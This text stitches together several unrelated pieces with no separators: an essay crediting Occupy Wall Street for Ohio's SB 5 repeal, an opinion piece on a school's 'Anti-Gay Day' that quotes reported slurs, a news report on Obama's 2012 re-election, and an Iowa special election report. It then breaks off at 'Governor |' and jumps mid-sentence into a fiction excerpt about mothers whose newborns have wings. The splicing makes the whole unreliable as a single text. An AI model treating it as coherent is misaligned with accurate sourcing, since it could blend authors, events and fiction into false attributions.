You might have missed OWS’s win amid the recent wave of Occupy crackdowns. Police raided Occupy Denver, Occupy Salt Lake City, Occupy Oakland, Occupy Portland, and Occupy Seattle in a five-day span. Hundreds were arrested. And then, in the early morning hours on Tuesday, New York City police descended on Occupy Wall Street itself, fists flying and riot shields at the ready, with orders from Mayor Michael Bloomberg to evict the protesters. Later that day, a judge ruled that they couldn’t rebuild their young community, dealing a blow to the Occupy protest that inspired them all.
Instead of simply condemning the eviction, many pundits and columnists praised it or highlighted what they considered its bright side. The Washington Post‘s Ezra Klein wrote that Bloomberg had done Occupy Wall Street a favor. After all, he argued, something dangerous or deadly was bound to happen at OWS sooner or later, especially with winter soon to arrive. Zuccotti Park, Klein added, “was cleared… in a way that will temporarily reinvigorate the protesters and give Occupy Wall Street the best possible chance to become whatever it will become next.”
The New York Times‘ Paul Krugman wrote that OWS “should be grateful” for Bloomberg’s eviction decree: “By acting so badly, Bloomberg has made it easy to see who won’t be truthful and can’t handle open discourse. He’s also saved OWS from what was probably its greatest problem, the prospect that it would just fade away as time went on and the days grew colder.”
Read between the lines and what Klein, Krugman, and others are really saying is: you had your occupation; now, get real. Start organizing, meaningfully connect your many Occupy protests, build a real movement. As these columnists see it, that movement—whether you call it OccupyUSA, We Are the 99 percent, or the New Progressive Movement—should now turn its attention to policy changes like a millionaire’s tax, a financial transaction fee, or a constitutional amendment to nullify the Supreme Court’s Citizens United decision that loosed a torrent of cash into American elections. It should think about supporting political candidates. It should start making a nuts-and-bolts difference in American politics.
But such assessments miss an important truth: Occupy Wall Street has already won its first victory its own way—in Ohio, when voters repealed Republican governor John Kasich’s law to slash bargaining rights for 350,000 public workers and gut what remained of organized labor’s political power.
Commandeering the Conversation
Don’t believe me? Then think back to this spring and summer, when Occupy Wall Street was just a glimmer in the imagination of a few activists, artists, and students. In Washington, the conversation, such as it was, concerned debt, deficit, and austerity. The discussion wasn’t about whether to slash spending, only about how much and how soon. The Washington Post‘s Greg Sargent called it the “Beltway Deficit Feedback Loop”—and boy was he right.
A National Journal analysis in May found that the number of news articles in major newspapers mentioning “deficit” was climbing, while mentions of “unemployment” had plummeted. In the last week of July, the liberal blog ThinkProgress tallied 7,583 mentions of the word “debt” on MSNBC, CNN, and Fox News alone. “Unemployment”? A measly 427.
This all-deficit, all-the-time debate shaped the final debt-ceiling deal, in which House Speaker John Boehner and his “cut-and-grow”-loving GOP allies got just about everything they wanted. So lopsided was the debate in Washington that President Obama himself hailed the deal’s bone-deep cuts to health research, public education, environmental protection, childcare, and infrastructure.
These cuts, the president explained, would bring the country to “the lowest level of annual domestic spending since Dwight Eisenhower was president.” After studying the deal, Ethan Pollock of the Economic Policy Institute told me, “There’s no way to square this plan with the president’s ‘Winning the Future’ agenda. That agenda ends.” Yet Obama said this as if it were a good thing.
Six weeks after Obama’s speech, protesters heard the call of Adbusters, the Canadian anti-capitalist magazine, and followed the lead of a small crew of activists, writers, and students to “occupy Wall Street.” A few hundred of them set up camp in Zuccotti Park, a small patch of concrete next door to Ground Zero. No one knew how long the occupation would last, or what its impact would be.
What a game-changing few months it’s been. Occupy Wall Street has inspired 750 events around the world, and hundreds of (semi-)permanent encampments around the United States. In so doing, the protests have wrestled the national discussion on the economy away from austerity and toward gaping income inequality (the 99 percent versus 1 percent theme), outsized executive compensation, and the plain buying and selling of American politicians by lobbyists and campaign donors.
Mentions of the phrase “income inequality” in print publications, web stories, and broadcast transcripts spiked from 91 times a week in early September to nearly 500 in late October, according to the website Politico—an increase of nearly 450 percent. In the second week of October, according to ThinkProgress, the words most uttered on MSNBC, CNN, and Fox News were “jobs” (2,738), “Wall Street” (2,387), and “Occupy” (1,278). (References to “debt” tumbled to 398.)
And here’s another sign of the way Occupy Wall Street has forced what it considers the most pressing economic issues for the country into the spotlight: conservatives have lately gone on the defensive by attacking the very existence of income inequality, even if to little effect. As AFL-CIO president Richard Trumka put it, “Give credit to the Occupy Wall Street movement (and historic inequality) for redefining the political narrative.”
Wall Street in Ohio
The way Occupy Wall Street, with next to no direct access to the mainstream media, commandeered the national political narrative represents something of a stunning triumph. It also laid the groundwork for OWS’s first political win.
Just as OWS was grabbing that narrative, labor unions and Democrats headed into the final stretch of one of their biggest fights of 2011: an up-or-down referendum on the fate of Ohio governor John Kasich’s anti-union law, also known as SB 5. Passed by the Republican-controlled state legislature in March, it sought to curb the collective bargaining rights of 350,000 police, firefighters, teachers, snowplow drivers, and other public workers. It also gutted the political clout of unions by making it harder for them to collect dues and fund their political action committees. After failing to overturn similar laws in Wisconsin and Michigan, the SB 5 fight was labor’s last stand of 2011.
I spent a week in Ohio in early November interviewing dozens of people and reporting on the run-up to the SB 5 referendum. I visited heavily Democratic and Republican parts of the state, talking to liberals and conservatives, union leaders and activists. What struck me was how dramatically the debate had shifted in Ohio thanks in large part to the energy generated by Occupy Wall Street.
It was as if a great tide had lifted the pro-repeal forces in a way you only fully grasped if you were there. Organizers and volunteers had a spring in their step that hadn’t been evident in Wisconsin this summer during the recall elections of nine state senators targeted for their actions during the fight over Governor Scott Walker’s own anti-union law. Nearly everywhere I went in Ohio, people could be counted on to mention two things: the 99 percent—that is, the gap between the rich and poor—and the importance of protecting the rights of the cops and firefighters targeted by Kasich’s law.
And not just voters or local activists either. I heard it from union leaders as well. Mary Kay Henry, president of the Service Employees International Union, told me that her union had recruited volunteers from 15 different states for the final get-out-the-vote effort in Ohio. That, she assured me, wouldn’t have happened without the energy generated by OWS. And when Henry herself went door-to-door in Ohio to drum up support for repealing SB 5, she said that she could feel its influence in home after home. “Every conversation was in the context of the 99 percent and the 1 percent, this discussion sparked by Occupy Wall Street.”
This isn’t to take anything away from labor’s own accomplishments in Ohio. We Are Ohio, the labor-funded coalition that led the effort, collected nearly 1.3 million signatures this summer to put the repeal of SB 5 on the November ballot. (They needed just 230,000.) The group outspent its opponents $30 million to $8 million, a nearly four-to-one margin. And in the final days before the November 8th victory, We Are Ohio volunteers knocked on a million doors and made nearly a million phone calls. In the end, a stunning 2.14 million Ohioans voted to repeal SB 5 and only 1.35 million to keep it, a 61 percent to 39 percent margin. There were repeal majorities in 82 of Ohio’s 88 counties, support that cut across age, class, race, and political ideologies.
Nonetheless, it’s undeniable that a mood change had hit Ohio—and in a major way. Pro-worker organizers and volunteers benefited from something their peers in Wisconsin lacked: the wind of public opinion at their backs. Polls conducted in the run-up to Ohio’s November 8th vote showed large majorities of Ohioans agreeing that income inequality was a problem. What’s more, 60 percent of respondents in a Washington Post-ABC poll said the federal government should act to close that gap. Behind those changing numbers was the influence of Occupy Wall Street and other Occupy protests.
So, as the debate rages over what will happen to Occupy Wall Street after its eviction from Zuccotti Park, and some “experts” sneer at OWS and tell it to get real, just direct their attention to Ohio. Kasich’s anti-union law might still be on the books if not for the force of OWS. And if the Occupy movement survives Mayor Bloomberg’s eviction order and the winter season, if it regroups and adapts to life beyond Zuccotti Park, you can bet it will notch more political victories in 2012.
Andy Kroll is a staff reporter in the D.C. bureau of Mother Jones magazine and an associate editor at TomDispatch. He has appeared on MSNBC, Al Jazeera English, Democracy Now, and Current TV’s “Countdown” with Keith Olbermann. His email is akroll (at) motherjones (dot) com. To catch Timothy MacBain’s latest Tomcast audio interview in which Kroll discusses Occupy Wall Street’s unlikely first political victory click here, or download it to your iPod here. To stay on top of important articles like these, sign up to receive the latest updates from TomDispatch.com here.The Fellowship of Christian Athletes is a national network of summer camps and school clubs that the Religious Right uses as a vehicle to put prayer in public schools. My high school had one. Rest assured, they never played soccer.
Instead, they prayed. Hard. My junior year, when our Gay-Straight Alliance participated in the national Day of Silence, an event that highlights and condemns decades of anti-gay bullying and intimidation, the FCA prayed not just for my high school’s gay students, but for all straight allies participating in the event. Through our status as allies, we were just as sinful as the gay students themselves.
That was April of 2008. George Bush was President; national support for marriage equality stood at 40 percent, with 56 percent opposed; and no one in the conservative movement took seriously the idea that only a few short years later it would be socially unacceptable to openly bully someone — in high school or in the real world — on the basis of their sexual orientation. They felt that the Day of Silence was unfortunate, but that God — and society — would judge its participants appropriately.
Since then, as the LGBT movement has made steady advances in the fight for equality, the conservative movement has lashed out. They have — with varying degrees of consciousness — correctly perceived that they don’t run the show anymore, but have misinterpreted this fact not as a leveling of the playing field, but as a form of marginalization in their own right. They can’t pick on gay people without people speaking out against them anymore, and they’ve taken it to mean that the world is out to get them. Because, apparently, someone always has to be in charge.
So while victories over “religious freedom” bills and an impending Supreme Court affirmation of marriage equality, etc. represent two steps forward, events like McGuffey High School’s “Anti-Gay Day” represent one step back.
Unlike my high school’s FCA, which limited their response to benign (if misguided and insulting) prayer, a group of students at the Pittsburgh-area high school organized a full-blown protest of the school’s Day of Silence observance on Thursday. About 50 flannel-clad high schoolers wrote “anti-gay” on their hands, put Bible verses in homosexual students’ lockers, physically and verbally intimidated classmates and even circulated a “lynch list” of students who had participated in the Day of Silence. One teacher found a noose was tied to a flag in their classroom. The students also shamed gay classmates by posting Bible verses to Instagram and tagging them.
As McGuffey junior Zoe Johnson told Buzzfeed, “I got called a dyke, a faggot…They were calling us every horrible name you can think of.”
The flannel outfits were the first in what was supposed to be a series of clothing-inspired anti-gay events:
While anti-gay bullying of this scale is nothing new, I think there’s something significant in the way in which this episode played out that makes it fundamentally different from how it would have seven years ago.
Rather than letting their bullying take place in one-off incidents, carried out by individuals or small groups, the students at McGuffey felt the need to organize a school-wide anti-gay event. This wasn’t a group of buddies picking on one kid; this was a counter-protest organized around Christian conservatism. Rather than disorganized hate for hate’s sake, it was hate multiplied by identity. That made for an amplified, more offensive episode, but it required a shift away from the assumption that the rest of the school “got it.” In grouping themselves, the participants in Anti-Gay Day set themselves apart from the rest of the school, staking out their claim as an interest group rather than a part of the accepted cultural norm.
In this sense, the outburst of hate at McGuffey High is a representation of the broader conservative movement we see today. We are losing ground, they say, and we need to fight back. High schoolers that they may be, these students listen to their parents, who listen to their socially conservative thought leaders at the pulpit and on the air. I can guarantee you that at some point during the Anti-Gay Day’s planning and execution, the event was justified by its organizers along the lines of “they get their event, so we get one, too.” It’s like similar calls for White History Month, but with more tangible expressions of bigotry.
As painful as it may be, this is a sign of progress. As I wrote during the fracas over Indiana’s Religious Freedom Restoration Act:
That religious conservatives are all of a sudden discovering the language of identity politics — seeking to carve out protected status of their own as their cultural hegemony erodes — is only further indication that this battle of the American culture wars is ending, and they’re losing.
The very fact that these students felt the need to organize a hateful event is a sign that the students involved feel, in some sense, insecure in Christian conservatism’s dominance of even a small-town high school in Western Pennsylvania.
There’s a reason that stories like these are being reported by mainstream national outlets like Buzzfeed and Slate. There’s a reason why I heard about this story not because I got an email tip from a reader, but because it was trending on Facebook. To an increasing degree, anti-gay bullying — both in schools and in our wider culture — is becoming unacceptable, and LGBT citizens and allies are speaking out.
To be sure, we aren’t there yet. It has to get better. It will get better. It’s getting better. And the dynamics surrounding Anti-Gay Day at McGuffey High are an indication, however hateful and painful, that the dynamic is shifting in our favor.Media playback is unsupported on your device Media caption Barack Obama: "I have never been more hopeful"
President Barack Obama has been re-elected to a second term, defeating Republican challenger Mitt Romney.
America's first black president secured more than the 270 votes in the electoral college needed to win.
In his victory speech before supporters in Chicago, Mr Obama said he would talk to Mr Romney about "where we can work together to move this country forward".
Mr Obama prevailed despite lingering dissatisfaction with the economy and a hard-fought challenge by Mr Romney.
His Democrats also retained their majority in the Senate, which they have held since 2007.
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The Republicans kept control of the House of Representatives, which analysts say will likely result in more of the gridlock that characterised Mr Obama's first term, with the House and the president at loggerheads on most legislation.
In his address, the president challenged his opponents, asking them to work with him.
With only Florida's 29 electoral votes still undecided, Mr Obama won 303 electoral votes to Mr Romney's 206.
The popular vote, which is symbolically and politically important but not decisive in the race, remains very close.
Both candidates said this was a choice of two visions - America has chosen
'One nation' speech
Mr Obama congratulated Mr Romney and Republican vice-presidential candidate Paul Ryan on their hard-fought campaign.
"We have picked ourselves up, we have fought our way back and we know in our hearts that for the United States of America the best is yet to come," he said.
Mr Obama said he was returning to the White House "more determined, and more inspired than ever about the work there is to do, and the future that lies ahead".
He pledged to work with Republican leaders in Congress to reduce the government's budget deficit, fix the tax code and reform the immigration system.
"We are an American family and we rise and fall together as one nation," he said.
In Boston, where his campaign was based, Mr Romney congratulated the president and said he and Mr Ryan had "left everything on the field" and had given their all in the campaign.
US media reaction Thomas L Friedman of the New York Times writes: "No one can know for sure what complex emotional chemistry tipped this election Obama's way… it came down to a majority of Americans believing that whatever his faults, Obama was trying his hardest to fix what ails the country." Dan Balz of the Washington Post says: "Tuesday's election produced an uncertain mandate, although Obama will attempt to claim one. Obama offered a plan, but not one that deals directly with some of the problems he will have to confront immediately." A Wall Street Journal opinion piece read: "[Obama] said little during the campaign about his first term and even less about his plans for a second. Instead his strategy was to portray Mitt Romney as a plutocrat… it worked with brutal efficiency - the definition of winning ugly." Doyle McManus of the Los Angeles Times writes: "If we're lucky, we will find that we elected a different Obama from the one who won four years ago - not just a grayer Obama but a wiser one too."
Referring to the struggling economy, Mr Romney said now was not the time for "partisan bickering and political posturing", and that Republicans and Democrats must "put people before politics".
"I so wish that I had been able to fulfil your hopes to lead the country in a different direction but the nation chose another leader and so I join with you to earnestly pray for [Mr Obama] and for this great nation," he said.
Under the US constitution, each state is given a number of electoral votes in rough proportion to its population. The candidate who wins 270 electoral votes - by prevailing in the mostly winner-takes-all state contests - becomes president.
On Tuesday, the president held the White House by assembling solid Democratic states and a number of important swing states such as Colorado, Iowa, Pennsylvania, Michigan, Minnesota, Virginia and Wisconsin. His narrow victory in Ohio, a critical Mid-Western swing state, sealed the victory.
In other key ballots:
Referendums in Maine, Maryland and Washington state approved same-sex marriage, while a measure in Minnesota to block gay unions failed
Colorado and Washington state voted to legalise recreational use of marijuana
California voters rejected a proposal to abolish the death penalty
In a referendum, Puerto Ricans voted in favour of becoming the 51st US state, if Congress approves the move.
Billions spent
Mr Romney won North Carolina and Indiana, both of which Mr Obama won in 2008, as well as the solid Republican states.
But he was unable to win in Ohio or other states needed to breach the 270 threshold.
Also on Tuesday's ballot were 11 state governorships, a third of the seats in the 100-member US Senate and all 435 seats in the House of Representatives.
Mr Obama's victory came despite lingering high unemployment - 7.9% on election day - and tepid economic growth.
But voters gave him credit for his 2009 rescue of the US car industry among other policy accomplishments, and rewarded him for ordering the commando mission that killed Osama Bin Laden in Pakistan last year.
He and Mr Romney, as well as their respective allies, have spent more than $2bn (£1.25bn) - largely on adverts in swing states.Iowa Democrats nearly pulled off the upset to end all upsets by coming surprisingly close in a Northwest Iowa special election for Senate District 3 tonight. In a district where Donald Trump beat Hillary Clinton 68% to 27%, Democrat Todd Wendt fell to Republican Representative Jim Carlin by just 55% to 45%. Where Trump won the district by a +41 margin in November 2016, Democrats closed that gap to a Republican +10 tonight, a swing of 31 points for the Democrats.
Carlin – who currently represents half the Senate district in the Iowa House – was expected to win handily in the election to replace Senator Bill Anderson, who announced he was resigning from the Iowa Senate a few months back to take a new job. Republicans outnumber registered Democrats by more than two to one in the district (17,677 Republicans and 8,719 Democrats). Senate District 3 covers nearly all of Plymouth County, the Morningside part of Sioux City and part of rural Woodbury County.
But Democrats could hardly have come up with a stronger candidate for the district. Todd Wendt’s father, Roger Wendt, was a popular legislator from Sioux City in the 2000s. Todd Wendt was the recently retired superintendent of the Le Mars School District in Plymouth County, the more Republican part of the district. Well-known in both counties, Wendt ran a strong campaign in the few months since Anderson’s resignation announcement with the assistance of the local Democratic county parties. The Woodbury County Democrats are one of the best-organized parties in the entire state.
He also got some help from the gubernatorial candidates. Nate Boulton and John Norris visited the district to help out in recent weeks, and Fred Hubbell’s staff pitched in today on the phones.
Wendt actually won the Woodbury side of the district, 51% to 49%, despite Carlin representing that area. With Carlin’s promotion to the Senate, voters in Woodbury County will now see another special election to fill his House District 6 seat. Although Trump beat Clinton 62% to 33% there, House Democrats could certainly see this as a district suddenly within striking distance with the right candidate given tonight’s results.
The shift in the vote in Woodbury precincts were significant. In Sioux City’s Precinct 24, where Clinton won just 33% of the vote in 2016, Wendt carried it by 58% (this is without the absentees added in, but Wendt and Carlin split that vote nearly evenly, so it wouldn’t make much difference). See the full changes here:
Take a look at this: compare the Trump & Clinton % to tonight's Carlin (R) & Wendt (D) %s in the NW Iowa senate special election (caveat that absentees aren't distributed into precincts, but since they're relatively even it wouldn't make too big a difference) pic.twitter.com/HKZYrOpbd2 — Iowa Starting Line (@IAStartingLine) December 13, 2017
This marks the fourth Iowa legislative special election since 2016 where Democrats have vastly over-performed the Trump/Clinton margin – twice in Democratic-leaning districts, and now twice in Republican-leaning districts. It’s boosted the party’s hopes that 2018 could be a good year for a big bounce-back – or at the very least that it’ll be much more competitive than the recent electoral red waves. And it gives some optimism that Trump’s 10-point statewide win – marked by massive swings to Republicans in rural and blue-collar counties – may have been a one-time blip and not part of a larger trend toward Iowa becoming a deep-red state.
Tonight’s special election was triggered by Senator Anderson announcing his resignation early into his third term in office. He had been on the outs with the Republican senate leadership, and it was thought that Senator Bill Dix’s handling of the sexual harassment scandal may have played into Anderson’s frustration.
Governor |
when I rolled my eyes. “You can tell things about your baby’s health, Maddy,” she’d say.
My mom liked to behave all superior about babies with me ’cause she had two, and she figured that made her a expert. Also, I really think she liked the fact I was a teenage mother ’cause it proved her theory that I was a fuckup all along. Weird as it is, though, I sometimes wish I had my mom here with me like Elli has hers. But how fucked is that? Both of them doing it with the same guy? It makes me shiver every time I think about it.
JoJo was born at home, even though we didn’t plan it that way. Just ’cause we had a midwife renting Billy’s old room in the basement don’t mean we was going to use her. Holly was really busy. Once she came upstairs and asked me to turn the music down, but she asked like she knew it was a big pain for me to do, and so I turned it down. And one night we sat on the front steps and talked. I thought she was nice.
But it’s not like I got to choose much about JoJo. My mom liked to act like everything was up to me. “He’s your baby,” she’d say. “He’s your responsibility”—she said this about diaper changing and when he was crying. But other times she’d say, “Just ’cause you had a baby don’t mean you’re all grown up now.”
My mom said I had to go to a hospital. “It’s just ridiculous that in this day in age, with all the best modern medicine has to offer, a woman would choose to give birth at home like they was living in Afghanistan or something.” My mom loved to mention Afghanistan whenever she could. My brother Billy got killed there, and after that she blamed Afghanistan for anything wrong in the world.
After I talked to Holly that night on the porch, I wanted her to help when the baby came. It’s not like she tried to convince me, or nothing like that. We barely talked about it. Mostly we talked about other stuff. But I liked her, and I didn’t like Dr. Fascular. He has cold hands and is always grumpy and shit.
My mom was all like, “No way,” and said it had to be at the hospital. But there wasn’t much she could do when it happened the way it did, all of a sudden, with me alone in the house. I didn’t expect it to hurt like it did. It hurt a lot. I didn’t scream, even though I really wanted to. I just went down to Billy’s old room and laid down on Billy’s old bed, which was now Holly’s, and waited for her to get home. It hurt so bad I took the bedspread and rolled it up at the end and stuck it in my mouth. Every time I felt like screaming, which was pretty much all the time, I bit down.
I don’t know how long it was before Holly came home. She said, “Maddy?”
I just screamed. I let the bedspread fall out of my mouth and I screamed loud enough to bring my mom and dad down the stairs, and then there was this whole part where they got mad at Holly, and even though I was screaming and shit, I had to explain to them that she didn’t have nothing to do with it, and then my dad said he was going to get the car, and Holly was looking at my vagina and saying, “I don’t think so.”
I heard it hurt a lot to have a baby, but nothing nobody said told me how much. I don’t even want to think about it.
So Mom starts arguing with Holly, and then all of a sudden Holly says, “This baby is halfway here. If you want to take her all the way to Becksworth, you go ahead. But I sure hope you are prepared to deliver it.” Which, ha ha, got my mom to shut up.
Okay, so like it hurt more than anything I ever imagined. It hurt more than when Billy got killed, and I didn’t think there would ever be nothing that hurt worse than that. Later, Holly told me it was not a usual birth. Still, I don’t think I’ll ever do it again. Like I could! Ha, stuck here with all these women.
I was exhausted. I just wanted to go to sleep. Holly said, “What are you going to name him?” And I said, “JoJo.” And my mom said, “I knew it. I knew it was Joey Marin.” My mom was obsessed with trying to figure out who JoJo’s dad was. “It ain’t Joey Marin,” I said, but she just looked all superior. Holly cleaned him up and she said he was beautiful. And that’s coming from someone who delivered hundreds of babies, so that should tell you something. Then she gave him to me, wrapped up like a bratwurst in a bun. Everybody stood there, even my dad. Like I was going to breastfeed in front of him! I guess Holly figured that out, ’cause she said she had some things to talk to them about in private. When Mom and Dad were both out the door, I told Holly I was sorry I got her in trouble. “That’s all right,” she said. “I thought this room could use a birth.” I saw what she meant. Except for Holly’s clothes and a little glass jar on the dresser filled with some wildflowers, the room was just the way it was when Billy left to get killed in the war.
So I took off my T-shirt and put JoJo up by my boob, and he started sucking.
The next day, after I moved back upstairs and my mom cleaned all of Holly’s sheets and even baked her a tube of chocolate chip cookies to thank her for everything she did, I was undressing JoJo, and the next thing I knew, my finger was bleeding and JoJo was crying and my mom was standing there going, “What are you doing to him?”
“I ain’t doing nothing to him,” I said. “I pricked my finger.”
“This is no longer all about you,” she said, and, “You better make sure you keep one hand on him when he’s on the changing table, or it won’t be long before he’ll just roll off.” About as soon as JoJo was born, my mom started imagining all the horrible ways he could die.
I looked at JoJo laying there with his face all scrunched up and all I could think was that I had a huge problem. I didn’t love him, all right? For the first time in my entire life I wondered if this is what was wrong with me and my mom, that she just didn’t love me and couldn’t do nothing about it. I felt real bad, and angry too. I decided that wasn’t going to happen with me and JoJo.
I picked him up and took him with me to the bed, and that’s when I saw them sticking out. They were tiny, like his fingers and toes were tiny. They were tiny like that.
“Holy shit, JoJo,” I said. “You’ve got wings.”
Tamara
When Tamara met Raj and found out he was Hindu, she didn’t think much about it. It wasn’t until she was already falling in love that she discovered how much his faith mattered to him. She told him she wasn’t sure she could convert, but he said she didn’t need to. It might have been easier if she could fool herself into believing that her infidelity had been Raj’s fault, but Tamara could not believe that. She had cheated on him for the worst reason of all: because she felt like it.
There was justice in her pregnancy. It was a Catholic thought, she knew, but no matter how many years had passed since she’d gone to church, she could not escape the idea that God did things like this to Catholics. He punished them for being bad.
Tamara knew it was not uncommon for pregnant woman to have horrible dreams, but she was sure hers were the worst. Several times, Raj died. Once, she drowned the baby. (How could she even dream that?) She had many dreams that featured birth defects. When she woke up crying, Raj held her, soothed her, made her tea, told her jokes. He was the perfect husband, which just made everything worse.
Tamara thought of confessing. Being raised Catholic, how could she not think of that? But she couldn’t decide. Was she confessing to help their marriage, or just to relieve her guilt? What was the right thing to do? She no longer trusted her judgment. How could she, after she’d displayed such a colossal lack of any? (After it all came out and everything fell apart the way it did, she would decide she must have been put under some sort of spell, though the other women say things like, “Sure, if that’s what you wanna call it, honey.”)
Tamara had passed the bar exam, so she was technically a lawyer, but hardly anyone knew that. She never practiced. She hated law school, but didn’t dare quit after her parents had put so much money into it. She hadn’t really mentioned, in any of her phone calls or e-mails to her parents, that she wasn’t doing anything with her degree, but instead was working part-time at the Voorhisville library while writing another novel. She’d never told them about the four previous novels she’d written (but not published) so it was difficult to tell them about the fifth. They wouldn’t approve. Her father used to make fun of her art major friends. He called them “the future poor of America.”
She and Raj moved to Voorhisville because they had fantasies about small town life. Raj, who worked as a litigation attorney in Becksworth, and therefore wasn’t really in Voorhisville much, still believed it was a quaint community, a perfect place for children. Tamara wasn’t so sure. She’d seen things: the way Michael Baile (whose cousin was on the school board) got all the contracts for the school maintenance jobs, even though there were consistent complaints about the quality of his work. The way almost everyone talked about Maddy Malvern’s spiral into sexual promiscuity, but did nothing about it. The way Roddy Tyler flopped around in those duct-taped shoes even in the winter, despite the fact that he worked for the richest people in town. Tamara did not think Voorhisville was quaint, though it did have the annual Halloween parade with all the children dressed in costumes walking down Main Street. That was quaint. And Fourth of July in Fletcher’s Park, with Girl Scouts selling baked goods, Boy Scouts selling popcorn, and Mr. Muller twisting balloons into animal shapes while the senior citizen band played God knows what... well, that was quaint too. But Tamara saw the looks Raj, with his dark skin, got. “Doesn’t it bother you?” she asked, but he just laughed. That’s just the way Raj was. He didn’t care. It had been harder for Tamara. She wasn’t used to being a victim of prejudice.
“It would be like this in almost any small town in America,” Raj said. “You can’t let it upset you.”
But it did. It upset Tamara very much. It confused her, too. She could never be sure. Had the man at the post office been rude because he knew she was married to someone with dark skin, or had he just been a rude man? What about the checkout girl at the supermarket, and the lady who cut her off at the corner of Henry Street and Wildwood?
The novel Tamara was working on was called Underskin, about a nomadic tribe of tree dwellers and the consumers who ate them. It was a love story, a dark fantasy, a brutal indictment of prejudice, and her best work. But after her strange encounter with the blue-eyed man, it was contaminated. Also, Tamara would later note, wryly, she had to resist the urge to put in a band of avenging angels. They weren’t part of her plan for the book, and yet they kept appearing. She kept crossing them out.
Essentially, the work that had been going so well before she cheated on her husband started going very badly. This, Tamara knew, was God’s way of getting her. This and her pregnancy; that’s how she thought of it. She thought God had made her pregnant just to prove a point—which, she reasoned, was unnecessary, because she already knew she shouldn’t have cheated, so why’d God have to make her pregnant as well?
After Tamara took two home pregnancy tests, she called Planned Parenthood and made an appointment she never kept. Much later, when the bad things happened and she was stuck with all the other women chronicling their stories, she wondered if this decision had been a matter of enchantment.
When she told Raj they were expecting, he kissed her all over. (Raj, thankfully, mistook her tears for joy.) They talked about names and the dreams they had for the child. “I just want her to be happy,” Tamara said, and Raj laughed and said, “That’s a big dream.”
Over the next several months, Tamara found herself praying. She prayed to God, and she prayed to Krishna too. She prayed to everyone she could think of, like the Virgin Mary, and her Great-Uncle Cal (who would probably be embarrassed by all this, but was the only dead person Tamara had been close to.) Hi, Uncle Cal, she’d think. This is Tamara. I’m married now. And I made a mistake. Please, please make sure that this baby is Raj’s and not, well... I’m sorry. I shouldn’t have done it. I know that. Thank you, Uncle Cal. She prayed to Kali, with her four arms and that mysterious smile of hers. She even prayed to that elephant—she could never remember his name, but Raj had a small statue of him in the living room, and she prayed to him because he looked nonjudgmental. For eight months, Tamara suffered in fear and anguish while her body blossomed, effortlessly. “I don’t know why women complain about being pregnant,” she told Holly.
“Sometimes it’s more difficult to have an easy pregnancy,” Holly said, “because then you’re not really prepared for the birth.”
At this, Tamara smiled.
But when the pain arrived it was the worst feeling Tamara could ever imagine. One second she was sitting at her desk crossing out angels, and the next she was on the floor, screaming. She was in so much pain she couldn’t even move. It hurt to breathe. It was torture to get up or slide across the floor, which is how she tried to reach the phone, because Raj had gone into work even though her due date was approaching. (“I’ll just call if anything happens,” she said. “We’ll have plenty of time. All the books say so.”) Tamara screamed and writhed on the floor for hours before Raj found her there. During those hours, Tamara accepted that she was being punished. She also accepted that she was going to die. She even reached the point where she wanted to die.
“I’ll call Holly,” Raj said.
“I’m dying,” she said.
“You’re not dying,” he said. Then she opened her mouth and screamed, and his eyes got round, and he called Holly.
Later, Holly said it was not an ordinary birth. “I think something’s happening here,” she said, mysteriously. Tamara was studying her baby, trying to decide who the father was. After several minutes of intense scrutiny, she asked, “Who do you think he looks like?”
Holly looked down at the baby, then at Tamara.
She knows, Tamara thought. How could she?
But Holly did not reach into her bag of birthing supplies to bring out a large scarlet letter. Instead, she left without addressing the question.
He did have blue eyes, but lots of babies do. His hair was dark, his skin was pink, and his body was an amazing, intricate, perfect blessing. After all those horrible dreams, and the months of guilt, and most especially the horrible pain of birth, Tamara felt blessed. In the end it didn’t matter who the father was. Well, it mattered, of course, but also, it didn’t. The only thing that really mattered was the baby.
Tamara thought she knew how she’d feel about her first child: protective, loving, proud. She had not been prepared to feel the way she did. In fact, she would say she had underestimated the power of the love she would feel for this little boy as much as she’d underestimated the pain of his birth.
It was three days later, after Raj had gone to the Becksworth airport to pick up her parents, when Tamara discovered the tiny sharp wings protruding from her baby’s back. By then she already loved him more than she had ever loved anyone or anything else. Her love was monstrous. When she saw the wings, she turned him over and stared into those deep eyes of his and said, “Nobody is ever going to know, little one.”
When Raj came home with her parents and their frightening amount of luggage, he kissed her on the cheek and said, “Everything okay?” She nodded. Later, when she had time to consider the disturbing events that followed, she pinned her ruin to that moment. The “thing she’d done with the stranger,” as she’d come to think of it, had been wrong, but she could no longer wish it away without wishing away her child.
No, what had sealed her fate was that moment when she decided to lie to her husband about the baby’s wings. It was no longer the three of them against the world, but mother and child against everyone else.
So many women were pregnant Shreve started a prenatal yoga class. “Something in the water,” they’d say, or “Who’s your milkman?”
Emily and Shreve thought they shared the biggest joke of all. Emily liked to say that they were “fuck-related,” though Shreve found this crude. They could not agree on what had happened to them. Emily thought Jeffrey was a jerk, while Shreve thought he was some sort of holy man.
“I can’t believe you think that,” Emily said. “Saints don’t have sex.”
“Not a saint,” Shreve said. “A yogi. And they do.”
“Oh, come on! He was just a man. He was just like other men.”
Shreve sighed, apparently remembering something wonderful beyond words.
This, of course, stressed Emily out. Did Shreve have better sex with him than Emily did? Was he gentler? Rougher? Had something profound happened between those two? Was he more attracted to Shreve? Was Shreve better at sex than Emily was?
She suggested that, in the interest of peace, they stop talking about it, and Shreve agreed.
Agreeing to disagree on the nature of what occurred with Jeffrey had been the first big test of their friendship. The next big test happened later.
Emily discovered her baby’s small, sharp, featherless wings on June fifth, while changing Gabriel into one of his cute little baseball outfits (Red Sox, of course). She watched in amazement as the tiny wings unfolded and folded shut again, drawn into his back. She touched the spot, certain she’d imagined the wings, a weird hallucination. (Maybe she’d just never gotten to that point in the pregnancy books.) She almost convinced herself that was what had happened, when, with a burp, the wings appeared once more. Emily reached to touch one. The next thing she knew, she was walking down the street with Gabriel secured in his Snugli against her chest. She patted the baby’s back, but didn’t feel anything unusual.
At that exact moment, Shreve was saying to her baby, Michael, “You’re going to meet your half brother today.” She believed Jeffrey had been some kind of an angel sent to her by her dead fiancé. She wasn’t sure why her dead fiancé had sent the angel to Emily also, except that it gave her son a brother... and that was a very good reason, the more she thought about it.
Michael had blue eyes, a remarkable head of dark curls, and two dimples. His pink flesh was already filling out, losing that newborn look. He had a round face and a round body, round hands, almost round feet, and a little tiny round penis. When Shreve turned him over to admire the beautiful symmetry of his little round butt, she watched, in amazement, as two wings blossomed from his back.
“I knew it,” she said.
